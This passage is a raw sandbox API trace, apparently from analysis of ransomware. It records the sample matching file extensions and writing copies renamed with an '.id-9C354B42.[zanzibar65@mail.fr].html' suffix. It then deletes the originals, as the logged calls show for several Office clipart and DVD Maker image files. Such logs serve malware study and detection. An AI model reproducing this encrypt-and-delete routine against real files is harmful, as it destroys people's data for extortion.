4 [0268.782] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.782] lstrlenW (lpString=".xlsx") returned 5 [0268.782] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0268.782] lstrlenW (lpString=".ppt") returned 4 [0268.782] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.782] lstrlenW (lpString=".zip") returned 4 [0268.782] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.782] lstrlenW (lpString=".rar") returned 4 [0268.782] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.782] lstrlenW (lpString=".bz2") returned 4 [0268.782] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.782] lstrlenW (lpString=".7z") returned 3 [0268.782] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.783] lstrlenW (lpString=".dbf") returned 4 [0268.783] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0268.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.783] lstrlenW (lpString=".1cd") returned 4 [0268.783] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0268.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0268.783] lstrlenW (lpString=".jpg") returned 4 [0268.783] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0268.783] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0268.783] lstrlenW (lpString="Pets_btn-over-DOT.png") returned 21 [0268.783] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0268.804] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2891) returned 1 [0268.804] CloseHandle (hObject=0x2f0) returned 1 [0268.804] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0268.805] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0268.807] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0268.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0268.808] lstrlenW (lpString=".doc") returned 4 [0268.808] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0268.808] lstrlenW (lpString=".docx") returned 5 [0268.808] lstrcmpiW (lpString1=".docx", lpString2="T.png") returned -1 [0268.808] lstrlenW (lpString=".pdf") returned 4 [0268.808] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0268.808] lstrlenW (lpString=".xls") returned 4 [0268.808] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0268.808] lstrlenW (lpString=".xlsx") returned 5 [0268.808] lstrcmpiW (lpString1=".xlsx", lpString2="T.png") returned -1 [0268.808] lstrlenW (lpString=".ppt") returned 4 [0268.808] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0268.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0268.808] lstrlenW (lpString=".zip") returned 4 [0268.808] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0268.808] lstrlenW (lpString=".rar") returned 4 [0268.808] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0268.808] lstrlenW (lpString=".bz2") returned 4 [0268.808] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0268.808] lstrlenW (lpString=".7z") returned 3 [0268.808] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0268.808] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0268.808] lstrlenW (lpString=".dbf") returned 4 [0268.808] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0270.577] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2080) returned 1 [0270.577] CloseHandle (hObject=0x304) returned 1 [0270.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0270.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.650] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.650] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.672] GetLastError () returned 0x0 [0270.672] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x820, lpOverlapped=0x0) returned 1 [0270.674] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x830, lpOverlapped=0x0) returned 1 [0270.675] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0270.675] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.675] SetEndOfFile (hFile=0x37c) returned 1 [0270.675] CloseHandle (hObject=0x37c) returned 1 [0270.675] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.675] SetEndOfFile (hFile=0x370) returned 1 [0270.677] CloseHandle (hObject=0x370) returned 1 [0270.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.677] lstrlenW (lpString=".doc") returned 4 [0270.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.677] lstrlenW (lpString=".docx") returned 5 [0270.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.677] lstrlenW (lpString=".pdf") returned 4 [0270.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.677] lstrlenW (lpString=".xls") returned 4 [0270.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.677] lstrlenW (lpString=".xlsx") returned 5 [0270.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.677] lstrlenW (lpString=".ppt") returned 4 [0270.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.678] lstrlenW (lpString=".zip") returned 4 [0270.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.678] lstrlenW (lpString=".rar") returned 4 [0270.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.678] lstrlenW (lpString=".bz2") returned 4 [0270.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.678] lstrlenW (lpString=".7z") returned 3 [0270.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.678] lstrlenW (lpString=".dbf") returned 4 [0270.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.678] lstrlenW (lpString=".1cd") returned 4 [0270.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.678] lstrlenW (lpString=".jpg") returned 4 [0270.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.678] lstrlenW (lpString=".doc") returned 4 [0270.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.678] lstrlenW (lpString=".docx") returned 5 [0270.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.678] lstrlenW (lpString=".pdf") returned 4 [0270.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.679] lstrlenW (lpString=".xls") returned 4 [0270.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.679] lstrlenW (lpString=".xlsx") returned 5 [0270.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.679] lstrlenW (lpString=".ppt") returned 4 [0270.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.679] lstrlenW (lpString=".zip") returned 4 [0270.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.679] lstrlenW (lpString=".rar") returned 4 [0270.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.679] lstrlenW (lpString=".bz2") returned 4 [0270.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.679] lstrlenW (lpString=".7z") returned 3 [0270.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.679] lstrlenW (lpString=".dbf") returned 4 [0270.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.679] lstrlenW (lpString=".1cd") returned 4 [0270.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0270.679] lstrlenW (lpString=".jpg") returned 4 [0270.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.680] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.680] lstrlenW (lpString="DD01170_.WMF") returned 12 [0270.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.682] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2404) returned 1 [0270.682] CloseHandle (hObject=0x370) returned 1 [0270.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0270.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.682] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.682] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.683] GetLastError () returned 0x0 [0270.683] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x964, lpOverlapped=0x0) returned 1 [0270.684] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x970, lpOverlapped=0x0) returned 1 [0270.685] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0270.685] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.685] SetEndOfFile (hFile=0x37c) returned 1 [0270.685] CloseHandle (hObject=0x37c) returned 1 [0270.685] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.685] SetEndOfFile (hFile=0x370) returned 1 [0270.688] CloseHandle (hObject=0x370) returned 1 [0270.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0270.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.688] lstrlenW (lpString=".doc") returned 4 [0270.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString=".docx") returned 5 [0270.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.689] lstrlenW (lpString=".pdf") returned 4 [0270.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString=".xls") returned 4 [0270.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.689] lstrlenW (lpString=".xlsx") returned 5 [0270.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.689] lstrlenW (lpString=".ppt") returned 4 [0270.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.689] lstrlenW (lpString=".zip") returned 4 [0270.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.689] lstrlenW (lpString=".rar") returned 4 [0270.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString=".bz2") returned 4 [0270.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString=".7z") returned 3 [0270.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.689] lstrlenW (lpString=".dbf") returned 4 [0270.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.689] lstrlenW (lpString=".1cd") returned 4 [0270.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.689] lstrlenW (lpString=".jpg") returned 4 [0270.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.690] lstrlenW (lpString=".doc") returned 4 [0270.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".docx") returned 5 [0270.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.690] lstrlenW (lpString=".pdf") returned 4 [0270.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".xls") returned 4 [0270.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.690] lstrlenW (lpString=".xlsx") returned 5 [0270.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.690] lstrlenW (lpString=".ppt") returned 4 [0270.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.690] lstrlenW (lpString=".zip") returned 4 [0270.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.690] lstrlenW (lpString=".rar") returned 4 [0270.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".bz2") returned 4 [0270.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString=".7z") returned 3 [0270.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.690] lstrlenW (lpString=".dbf") returned 4 [0270.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.690] lstrlenW (lpString=".1cd") returned 4 [0270.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63 [0270.691] lstrlenW (lpString=".jpg") returned 4 [0270.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.691] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.691] lstrlenW (lpString="DD01171_.WMF") returned 12 [0270.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.691] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2052) returned 1 [0270.691] CloseHandle (hObject=0x370) returned 1 [0270.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0270.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.692] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.692] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.692] GetLastError () returned 0x0 [0270.692] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x804, lpOverlapped=0x0) returned 1 [0270.693] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x810, lpOverlapped=0x0) returned 1 [0270.694] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0270.694] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.694] SetEndOfFile (hFile=0x37c) returned 1 [0270.694] CloseHandle (hObject=0x37c) returned 1 [0270.694] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.694] SetEndOfFile (hFile=0x370) returned 1 [0270.697] CloseHandle (hObject=0x370) returned 1 [0270.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0270.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.697] lstrlenW (lpString=".doc") returned 4 [0270.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString=".docx") returned 5 [0270.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.697] lstrlenW (lpString=".pdf") returned 4 [0270.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString=".xls") returned 4 [0270.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.697] 